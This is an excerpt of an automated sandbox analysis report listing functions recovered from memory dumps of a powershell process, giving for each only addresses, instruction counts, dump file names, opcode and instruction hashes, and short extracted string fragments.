Instruction ID: 91a75b3ca9943e64be0c8c47a6c479f1728aea33bf4bbd33c38728bdafa51732
Opcode Fuzzy Hash: 2b5ac32219e93a0db96984d89ab09fac7f2fb775cc22c0e795f31ff3e8f59126
Instruction Fuzzy Hash: 101104B67092441FD305EB689850597FFA6AFD6310B28C89FE589CF392CA61DC46C391

Function 077E4890 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2676237741.00000000077E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_77e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99227d3a6fb90b37c1344a61f3bb77adfad761a21b07022bb82bc1da2670d6ba
Instruction ID: 3ec14e578ac11827dea57d001db9ce9609ba23ce003d1b400946eeadc4339fe2
Opcode Fuzzy Hash: 99227d3a6fb90b37c1344a61f3bb77adfad761a21b07022bb82bc1da2670d6ba
Instruction Fuzzy Hash: AF2124B4D0529A9FCB04CFA9D885AEEBBB5FB89310F14803AE404B7250D7380945CBA0

Function 04D7BC48 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2610933736.0000000004D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4d70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 653361255e4fcbe340ed58998d26007f440961db025b16efa64aeb7bc1df30c5
Instruction ID: bd66374596dd2b91ed02ad0cb8e437143dcb0edbed246e81dd9dae3d87c2de72
Opcode Fuzzy Hash: 653361255e4fcbe340ed58998d26007f440961db025b16efa64aeb7bc1df30c5
Instruction Fuzzy Hash: 3E2103B4A0050ADBCB50CF99D5809AAFBF6FF48314B24855AE818E7241DB31FD91CBA0

Function 077E48A0 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2676237741.00000000077E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_77e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a54278e6c389a5f05872af7dafbda467aaa1a7752ba8de4c876ad990eb8ff33d
Instruction ID: 13ae071c7dcd4521b816e68111a67bca1d94ef2983ebdc26b90e9ce441ee2109
Opcode Fuzzy Hash: a54278e6c389a5f05872af7dafbda467aaa1a7752ba8de4c876ad990eb8ff33d
Instruction Fuzzy Hash: 011126B4D0525ADBCB04DF9AD4456EEBBF9FB8D350F10803AE508B3210D7341955CBA0

Function 04C7D0DF Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2610275024.0000000004C7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4c7d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e37e63c8c1cf8f967ccaf6d2f6d1bcf094384ffa1d72db5f4a4f9073f3402ff
Instruction ID: 19034eee2886f8394064911d178f536756be219f73f380aea12f115ecafccad6
Opcode Fuzzy Hash: 1e37e63c8c1cf8f967ccaf6d2f6d1bcf094384ffa1d72db5f4a4f9073f3402ff
Instruction Fuzzy Hash: 2811D37A504280CFCB11CF10D9C4B16BF72FF84324F28C1A9D8094B616C33AE55ACBA2

Function 04D7C02A Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2610933736.0000000004D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4d70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2027b71efdb278d9e7849f59f7f89fa5ee775b80af40b9bf248c151c1b23bfcc
Instruction ID: 368af721866dd26dc82b65b90960056c25c7b0a701b572086e7362b1a3adc883
Opcode Fuzzy Hash: 2027b71efdb278d9e7849f59f7f89fa5ee775b80af40b9bf248c151c1b23bfcc
Instruction Fuzzy Hash: 7B110474A00218AFCB15CFA8D884AADFBF1BF88304F24C059E404AB361D735ED82CB90

Function 077E4688 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2676237741.00000000077E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_77e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11a233d5bab679c5fd835bafe647aab490ccdfc26569c5edba594395f1b06283
Instruction ID: 2c0bac5ee3db00f82a6fe93857a2a0d137e05b18cadfc7a46da7fcdfa931ad8a
Opcode Fuzzy Hash: 11a233d5bab679c5fd835bafe647aab490ccdfc26569c5edba594395f1b06283
Instruction Fuzzy Hash: D2018FB5A04208AFCB40CFA4E9449ADBBF4FB49324F1081DAEC089B321D7329E51CF51

Function 034BD006 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2610058771.00000000034BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 034BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_34bd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 173b243b6dcb67776f95b9af56d25875eebce2184d96f69bff67ea7e6aba8bd4
Instruction ID: ef96a26edc320fcfc47063f2b2557fa07961bcdc1d6eec57983f38d59e1c1cf6
Opcode Fuzzy Hash: 173b243b6dcb67776f95b9af56d25875eebce2184d96f69bff67ea7e6aba8bd4
Instruction Fuzzy Hash: 0801007240E3C05FD7128B258994B52BFB8DF57224F1D81DBD9888F2A7C2695849C772

Function 034BD01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2610058771.00000000034BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 034BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_34bd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6de68f8a8c8bfd4135e9e6bf60e49f4783b6f6f37a1de2855d7af269ea91e05d
Instruction ID: a123063646fa3c82cf8401d2f935026fdc0c34de0b29cd00ec1bcee485a6c2a9
Opcode Fuzzy Hash: 6de68f8a8c8bfd4135e9e6bf60e49f4783b6f6f37a1de2855d7af269ea91e05d
Instruction Fuzzy Hash: F201D4718053009AE710CE29CCC0BA7FFA8DF42328F1CC4ABED484E242C6799842CAB5

Function 077EA535 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2676237741.00000000077E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_77e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4327bb503a06bbaff8f7ee404b6045bc23bd0bab75e84911335494253e9048df
Instruction ID: 525cfe82e5b0748168da3fc9b8c69d39113d1003559f62c98ffb38280cd29272
Opcode Fuzzy Hash: 4327bb503a06bbaff8f7ee404b6045bc23bd0bab75e84911335494253e9048df
Instruction Fuzzy Hash: FF1105B4E05258CFDB14DFA9C8846ADBBF9FB4E380F51C469D40AAB259DB349985CF00

Function 07AE1CBE Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2679169572.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ae0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1fa0410ba3b02abdae2b9e4b586cac3f1b072604d6ac20029e168d6b5994aca
Instruction ID: f6ebcd85fc30868eae13a330400d0a9592291fbe80ea6f6bfd28cdcf806e01a6
Opcode Fuzzy Hash: e1fa0410ba3b02abdae2b9e4b586cac3f1b072604d6ac20029e168d6b5994aca
Instruction Fuzzy Hash: F6F0F4707013183BEA60A77E4812FAE29968F81718F20800DF505DF7C1C8F99C40433A

Function 07AE1CC0 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2679169572.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ae0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b60307f2b0f9152cc4aee4d50d78653d32f843213ab603608fa858769708cb05
Instruction ID: 38bf89e4b43e83ebbc64a277e6fa72b8c2a8636d02d1ef892cc73fbd799bb486
Opcode Fuzzy Hash: b60307f2b0f9152cc4aee4d50d78653d32f843213ab603608fa858769708cb05
Instruction Fuzzy Hash: BCF0AF607013183BEA60A77A4812B6A689A8F85B59F608019B605DF7C1D9B9AD80437A

Function 07AE7882 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2679169572.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ae0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4057b380c96a5dcf4dd3ff0a7bafbd38662120a71a666c9f7055d06870dc7a7
Instruction ID: 9256cbb7af33ca70044aadc0f717ad5b3a95a4d644bb2cd811ab238c5da12a27
Opcode Fuzzy Hash: a4057b380c96a5dcf4dd3ff0a7bafbd38662120a71a666c9f7055d06870dc7a7
Instruction Fuzzy Hash: DDF02070B142008FE7508698CC81AA6F7A7EFE5224F18C0AAD908CB380CEA3DC438390

Function 077EA280 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2676237741.00000000077E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_77e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af5dbe3a8f1a4ec9c6862962711682d62cfd96d2c5ba4c32c832201c9c1f512c
Instruction ID: 40e61d273f90c1de3d7bd14671c6a080c881c7974b64da670b9cf79658d8eb55
Opcode Fuzzy Hash: af5dbe3a8f1a4ec9c6862962711682d62cfd96d2c5ba4c32c832201c9c1f512c
Instruction Fuzzy Hash: 82F0E5355082049FC301EBA4F8404F8FF78DB87231F2481EBC8446B242C6324E82C791

Function 04D72C06 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2610933736.0000000004D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4d70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3307c19b179d690478343fb166c0338f53c834fbb7267a9231b7d8bf6735528
Instruction ID: d401962f5de1d11b329807aaf84c166d153e39b46db704f2323497754664c473
Opcode Fuzzy Hash: e3307c19b179d690478343fb166c0338f53c834fbb7267a9231b7d8bf6735528
Instruction Fuzzy Hash: BCF0D435A001099FCB15CF9DD890AEEFBB1FF88324F248199E515A73A1C732AD52CB60

Function 077BDF39 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2675815829.00000000077B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_77b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a97d21e1e3bb01d1a409ba7f46a72ca72aecdd7f2f3f959cc91d354141031065
Instruction ID: f3932ed0121b072901d6aa70c4f3031ba249e2bd153279622bc58a27564d5204
Opcode Fuzzy Hash: a97d21e1e3bb01d1a409ba7f46a72ca72aecdd7f2f3f959cc91d354141031065
Instruction Fuzzy Hash: 96E0D8B560E144AFC721DB64E841AE5BFB8DB87354F1440DAD84C57242C6326E52DBA1

Function 077EA428 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2676237741.00000000077E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_77e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c538f16fa07ec0d8c461320e2381b1f6b35950970f88d7052b94531315c24a3
Instruction ID: f7310849a4e2c8964518a9dd0e747955b2c06e485525d65e9507450b1f85e462
Opcode Fuzzy Hash: 4c538f16fa07ec0d8c461320e2381b1f6b35950970f88d7052b94531315c24a3
Instruction Fuzzy Hash: B8F0E5B4808304EFCB01DFA8D444969FFB8EF46310F10C1ADDC4827301C6319955DB56

Function 077E3559 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2676237741.00000000077E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_77e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ad3f94ca8c3a2001b8f7f2d5ed2587a56a2c999507066aa1832c723eebdc4a8
Instruction ID: fa02d65c8e7f9727cedb62fd4ecf74816978bbe34c8f6f76ff4e3ee467c893ee
Opcode Fuzzy Hash: 9ad3f94ca8c3a2001b8f7f2d5ed2587a56a2c999507066aa1832c723eebdc4a8
Instruction Fuzzy Hash: 30E026711452044FC325B7B0B84AAE47F28DB06266B280297D84D1B122CA270185CAA6

Function 077E4698 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2676237741.00000000077E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_77e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18ddbdfdfc69ce4763e145f87dc775f75739d8cf116d3809de46aff2486c453d
Instruction ID: c12c98d16f78c2a74b44ebe0633406fb1bb365eccc504b44cbe9f4a369c31115
Opcode Fuzzy Hash: 18ddbdfdfc69ce4763e145f87dc775f75739d8cf116d3809de46aff2486c453d
Instruction Fuzzy Hash: 7AF0A5B4D04208EFCB84DFA8D544A9DFBF5EB48314F10C0AAAC18A7350D6329A51DF40

Function 077EFB78 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2676237741.00000000077E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_77e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db4c33b2506d32efcd4013a12bf4a059b0d56bba6d3065bdc4bb1c7f5358eebb
Instruction ID: 549a48841b11747a5be4f227f4290dbe02c9207e3a620e467ba0e8ba069d5bf2
Opcode Fuzzy Hash: db4c33b2506d32efcd4013a12bf4a059b0d56bba6d3065bdc4bb1c7f5358eebb
Instruction Fuzzy Hash: ABE06D78804108EBCB01DF94D940DADBBB9EB49310F10C059EC4827250C7329A61EB50

Function 077EB558 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2676237741.00000000077E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_77e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4172121661266a2e3d9592280e83d76047f586af9b3932d4e2212b14f3bf1f3b
Instruction ID: e658820aa4cc8c3e4f614b13c2378e9a0b8edd82623cedf13862ce0f843b5373
Opcode Fuzzy Hash: 4172121661266a2e3d9592280e83d76047f586af9b3932d4e2212b14f3bf1f3b
Instruction Fuzzy Hash: C5E04FB4A04108EBC704DF94E5409ADBFB8EB49310F1080A99C4427350C6329E51DA90

Function 077EA290 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2676237741.00000000077E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_77e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5dd86ee11ae6a3f8d3c1e862513bf83f2492503ff772cb497d09860dd2f37b3b
Instruction ID: d0d9af42a3e87fab3cbbbeffd522fa7a795b3f0b9865649c993b9da9229db03b
Opcode Fuzzy Hash: 5dd86ee11ae6a3f8d3c1e862513bf83f2492503ff772cb497d09860dd2f37b3b
Instruction Fuzzy Hash: E1E0EC74909109EBC704DB94E9419ADBBB8EB8A324F20C1A9D80937345C6329E52DB91

Function 077BDF48 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2675815829.00000000077B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_77b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68522bc699ecadb9534b6e01ab33ae60f3b990900d393fa3e15a873cdbeada67
Instruction ID: 1996fac2526f4ea414dec13fd3515b1348b503d897342e88a56b860831ef1f27
Opcode Fuzzy Hash: 68522bc699ecadb9534b6e01ab33ae60f3b990900d393fa3e15a873cdbeada67
Instruction Fuzzy Hash: ACD05EB4609108EFC764DB94E940AA9B7A8DB46328F2080AC980C57345CA32AE41DA90

Function 077E3568 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2676237741.00000000077E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_77e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da323ae2d5a401b4cdac45f41c5a7d3900c955942b38d755ad10ffbb5c44955f
Instruction ID: 8b81b0688808961b94af326e8b713afcadd49c3fc7b91b279eab12f0f8d9013e
Opcode Fuzzy Hash: da323ae2d5a401b4cdac45f41c5a7d3900c955942b38d755ad10ffbb5c44955f
Instruction Fuzzy Hash: 23C08CB404020487C25033E4B409B68769C9B08322F440020E54C225108BB65090C93B

Non-executed Functions

Function 077BE050 Relevance: 1.5, Strings: 1, Instructions: 208COMMON

Download Yara Rule

Strings

dhq, xrefs: 077BE28A

Memory Dump Source

Source File: 00000006.00000002.2675815829.00000000077B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_77b0000_powershell.jbxd

Similarity

API ID:
String ID: dhq
API String ID: 0-2324836203
Opcode ID: 1e862a863648256a5a8445d62c0bfcabcb0ef79241ad0c1836bd0222469e7bf8
Instruction ID: 9a425eaaf18097452678735d3b9e3fc4210f574a89bbda2682633650796ca2e8
Opcode Fuzzy Hash: 1e862a863648256a5a8445d62c0bfcabcb0ef79241ad0c1836bd0222469e7bf8
Instruction Fuzzy Hash: 5A9104B4A05218CFDB20DFA9D854BEDBBF2FB49341F1081A9D409AB350DB745989CF45

Function 077BEA08 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2675815829.00000000077B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_77b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09c38bb0ff274907b06390c545e225f755e542f95b611524cece967d034c781a
Instruction ID: f65373b22a4d317bd10e82d589a04ed238ee78e1ca5b0c0dce3e544992f1a940
Opcode Fuzzy Hash: 09c38bb0ff274907b06390c545e225f755e542f95b611524cece967d034c781a
Instruction Fuzzy Hash: A45144B4A16218CFDB20CFA8D548BEDBBF2FB4A350F10512AD405BB341C7B45945CB45

Function 077BEA18 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2675815829.00000000077B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_77b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96427c961dcab40d30928017bbcdef4cc53575f3c6ee05d4db93ddc84a401d5d
Instruction ID: 9e91c9ec14bdba5c97b21f39ae5378b937bb9722ce09f1d32031657a5b3b5ebc
Opcode Fuzzy Hash: 96427c961dcab40d30928017bbcdef4cc53575f3c6ee05d4db93ddc84a401d5d
Instruction Fuzzy Hash: CF5115B4A16218CFEB20CFA8D548BEDBBF6FB4A350F50512AD40AAB381C7B45945CF45

Function 07AE3328 Relevance: 25.5, Strings: 20, Instructions: 487COMMON

Download Yara Rule

Strings

$dq, xrefs: 07AE34AC
(odq, xrefs: 07AE3878
4'dq, xrefs: 07AE34EA
$dq, xrefs: 07AE349C
Xbdl, xrefs: 07AE3622
(odq, xrefs: 07AE3888
$dq, xrefs: 07AE3437
$dq, xrefs: 07AE3631
Xbdl, xrefs: 07AE3618
tPdq, xrefs: 07AE367C
$dq, xrefs: 07AE3816
$dq, xrefs: 07AE383D
$dq, xrefs: 07AE384D
$dq, xrefs: 07AE33CE
$dq, xrefs: 07AE3447
4'dq, xrefs: 07AE34F6
4cl, xrefs: 07AE36D3
$dq, xrefs: 07AE3410
tPdq, xrefs: 07AE3688
4cl, xrefs: 07AE36C5

Memory Dump Source

Source File: 00000006.00000002.2679169572.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ae0000_powershell.jbxd

Similarity

API ID:
String ID: (odq$(odq$4'dq$4'dq$4cl$4cl$Xbdl$Xbdl$tPdq$tPdq$$dq$$dq$$dq$$dq$$dq$$dq$$dq$$dq$$dq$$dq
API String ID: 0-699773606
Opcode ID: 3753f55195b541139ff838b5dc4e5b74cf8b34f2a79c0400e645d84b15fa7f6d
Instruction ID: 365130406a91e905888279bdb45700a4d80eecbbb93ed2be8c40bbd7529a8fb4
Opcode Fuzzy Hash: 3753f55195b541139ff838b5dc4e5b74cf8b34f2a79c0400e645d84b15fa7f6d
Instruction Fuzzy Hash: EF0203B1B0020ADFDF25CF69D8547AB7BB6AFC5311F14806AE9258B291CB71DD40CBA1

Function 07AE21D0 Relevance: 12.8, Strings: 10, Instructions: 317COMMON

Download Yara Rule

Strings

4'dq, xrefs: 07AE24EA
4'dq, xrefs: 07AE229B
$dq, xrefs: 07AE24CB
$dq, xrefs: 07AE2466
4'dq, xrefs: 07AE22A7
$dq, xrefs: 07AE240E
$dq, xrefs: 07AE24BB
$dq, xrefs: 07AE242F
4'dq, xrefs: 07AE24F6
$dq, xrefs: 07AE2456

Memory Dump Source

Source File: 00000006.00000002.2679169572.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ae0000_powershell.jbxd

Similarity

API ID:
String ID: 4'dq$4'dq$4'dq$4'dq$$dq$$dq$$dq$$dq$$dq$$dq
API String ID: 0-4287419856
Opcode ID: c4603d7a1229f6967bca5a0df0cc021e09f4e27a4bffff43ad23c2c9f0bab7aa
Instruction ID: 5b3f9310e77e5a2eddf43859ec4f34c916fd3186e87c10110d6357a054ac0ca1
Opcode Fuzzy Hash: c4603d7a1229f6967bca5a0df0cc021e09f4e27a4bffff43ad23c2c9f0bab7aa
Instruction Fuzzy Hash: 8FB1B1B1B1460ACFCB148F69D8547AA77BEBFC5310F24806AD8258B2D1DB31D981CBA1

Function 07AE25D6 Relevance: 10.2, Strings: 8, Instructions: 172COMMON

Download Yara Rule

Strings

4'dq, xrefs: 07AE2878
tPdq, xrefs: 07AE278A
$dq, xrefs: 07AE26AE
$dq, xrefs: 07AE268D
$dq, xrefs: 07AE2848
$dq, xrefs: 07AE26EC
$dq, xrefs: 07AE26CA
84dl, xrefs: 07AE2738

Memory Dump Source

Source File: 00000006.00000002.2679169572.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ae0000_powershell.jbxd

Similarity

API ID:
String ID: 4'dq$84dl$tPdq$$dq$$dq$$dq$$dq$$dq
API String ID: 0-2226365686
Opcode ID: aecac83f3482095d4f0c48d13666161c1597a03c00e69f52face6f9788143c18
Instruction ID: 828e6959b867de2cb775987296c3f9347f3b050af3b03afb9a7a5e8c6ee23db4
Opcode Fuzzy Hash: aecac83f3482095d4f0c48d13666161c1597a03c00e69f52face6f9788143c18
Instruction Fuzzy Hash: 85515FB0A00A0ADFDB24CF19C544BA6B7BEFB89711F198169E825AB2D1C771DD40CF61

Function 07AED5AD Relevance: 9.2, Strings: 7, Instructions: 489COMMON

Download Yara Rule

Strings

x.Wk, xrefs: 07AEDC78
4'dq, xrefs: 07AED969
4'dq, xrefs: 07AED9EE
Pqdq, xrefs: 07AED5E7
4'dq, xrefs: 07AED9FA
4'dq, xrefs: 07AED975
-Wk, xrefs: 07AEDCC9

Memory Dump Source

Source File: 00000006.00000002.2679169572.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ae0000_powershell.jbxd

Similarity

API ID:
String ID: 4'dq$4'dq$4'dq$4'dq$Pqdq$x.Wk$-Wk
API String ID: 0-1648521316
Opcode ID: 2e85e0604225d99fdc12a532cf680ccb486db22bb8ec73338d7ac12e77f30213
Instruction ID: db08e0ab629f88c852a1a7150af8837ade877d09d122a9a2114893a39cd93fad
Opcode Fuzzy Hash: 2e85e0604225d99fdc12a532cf680ccb486db22bb8ec73338d7ac12e77f30213
Instruction Fuzzy Hash: 14226074B002159FDB24DB58C851BAEBBB2AF85304F14C4A9E909AF751CB71ED82CF91

Function 07AE2980 Relevance: 7.7, Strings: 6, Instructions: 225COMMON

Download Yara Rule

Strings

$dq, xrefs: 07AE2BA9
84dl, xrefs: 07AE29C0
$dq, xrefs: 07AE2BD0
tPdq, xrefs: 07AE2A17
$dq, xrefs: 07AE2994
84dl, xrefs: 07AE29CA

Memory Dump Source

Source File: 00000006.00000002.2679169572.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ae0000_powershell.jbxd

Similarity

API ID:
String ID: 84dl$84dl$tPdq$$dq$$dq$$dq
API String ID: 0-2903811780
Opcode ID: 3290eef387ae3f2394e7b3a04a5330d6b3e24c65cb6e96027d641b4ec9dc2912
Instruction ID: a1d98c44c9dcaaa2558eae713c4cdb99a6128813980775b22f7195eaaf12a6d8
Opcode Fuzzy Hash: 3290eef387ae3f2394e7b3a04a5330d6b3e24c65cb6e96027d641b4ec9dc2912
Instruction Fuzzy Hash: 7C8105B1600606DFCB24CF19D945BAABBBDFFC5311F18846AE8649B2D1C731D980CB51

Function 077B2370 Relevance: 7.7, Strings: 6, Instructions: 212COMMON

Download Yara Rule

Strings

(hq, xrefs: 077B253A
4'dq, xrefs: 077B2442
4'dq, xrefs: 077B23F4
phq, xrefs: 077B24C7
4'dq, xrefs: 077B24BA
4'dq, xrefs: 077B2424

Memory Dump Source

Source File: 00000006.00000002.2675815829.00000000077B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_77b0000_powershell.jbxd

Similarity

API ID:
String ID: (hq$4'dq$4'dq$4'dq$4'dq$phq
API String ID: 0-3112631775
Opcode ID: 97f6d4c6c7d2cab218c5afd2c9a88fad6458f79b30eaecffbf16e474c8f844e3
Instruction ID: f9a49fcbe9706fc57ae9b113387335f308cc00331310368562a685c99ef169eb
Opcode Fuzzy Hash: 97f6d4c6c7d2cab218c5afd2c9a88fad6458f79b30eaecffbf16e474c8f844e3
Instruction Fuzzy Hash: B161B5B1A002059FCB09DFA9C8506EEBBB7FFC8300F148869D5099B755DF31AD069BA1

Function 07AE9098 Relevance: 7.6, Strings: 6, Instructions: 112COMMON

Download Yara Rule

Strings

tPdq, xrefs: 07AE91A1
TQiq, xrefs: 07AE9259
TQiq, xrefs: 07AE90F5
4'dq, xrefs: 07AE914F
84dl, xrefs: 07AE9136
4'dq, xrefs: 07AE9289

Memory Dump Source

Source File: 00000006.00000002.2679169572.0000000007AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ae0000_powershell.jbxd

Similarity

API ID:
String ID: 4'dq$4'dq$84dl$TQiq$TQiq$tPdq
API String ID: 0-1643887291
Opcode ID: 47bae9765bc2379f6eb8bf727e87134ea0d98fd4ab686f0dc12b1a142a06da90
Instruction ID: 1cfee0a5d59dad4efb3b66037b1f805bd56685125dc21f100d4bd6ab4a42bfbb
Opcode Fuzzy Hash: 47bae9765bc2379f6eb8bf727e87134ea0d98fd4ab686f0dc12b1a142a06da90
Instruction Fuzzy Hash: DC419FB0A00305DFDF248F49C444BABB7BAAB85311F19846AD825AB290C771ED80CB96

